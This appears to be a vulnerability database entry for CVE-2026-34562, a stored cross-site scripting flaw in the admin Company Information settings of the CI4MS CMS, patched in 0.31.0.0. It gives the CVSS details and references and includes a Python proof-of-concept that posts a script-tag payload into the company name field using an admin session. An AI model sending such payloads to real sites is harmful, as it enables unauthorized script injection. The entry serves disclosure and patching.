CVE-2026-34562

Description

CI4MS is a CodeIgniter 4-based CMS skeleton that delivers a production-ready, modular architecture with RBAC authorization and theme support. Prior to version 0.31.0.0, the application fails to properly sanitize user-controlled input within System Settings – Company Information. Several administrative configuration fields accept attacker-controlled input that is stored server-side and later rendered without proper output encoding. This issue has been patched in version 0.31.0.0.

CVSS Details

CVSS Score

4.7

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:L

Configurations (Affected Products)

cpe:2.3:a:ci4-cms-erp:ci4ms:*:*:*:*:*:*:*:* - VULNERABLE

CI4MS < 0.31.0.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# PoC simulation for CVE-2026-34562
# This script demonstrates sending a malicious payload to a vulnerable endpoint.

import requests

# Target URL (example)
target_url = "http://target-ci4ms-site.com/admin/settings/company"

# Attacker's session cookie (needs admin privileges)
cookies = {
    "ci_session": "attacker_admin_session_cookie_here"
}

# Vulnerable payload: Stored XSS in Company Name field
payload = '<script>alert("CVE-2026-34562 XSS");</script>'

# Data to be sent
data = {
    "company_name": payload,
    "company_address": "123 Security St",
    "save": "Submit"
}

try:
    response = requests.post(target_url, data=data, cookies=cookies)
    if response.status_code == 200:
        print("Payload sent successfully. Check the company info page to trigger XSS.")
    else:
        print(f"Failed to send payload. Status code: {response.status_code}")
except Exception as e:
    print(f"An error occurred: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-34562
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-34562
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-34562/
[4] VulDB https://vuldb.com/cve/CVE-2026-34562
[5] https://github.com/ci4-cms-erp/ci4ms/releases/tag/0.31.0.0
[6] https://github.com/ci4-cms-erp/ci4ms/security/advisories/GHSA-v897-c6vq-6cr3

Raw JSON Data

JSON

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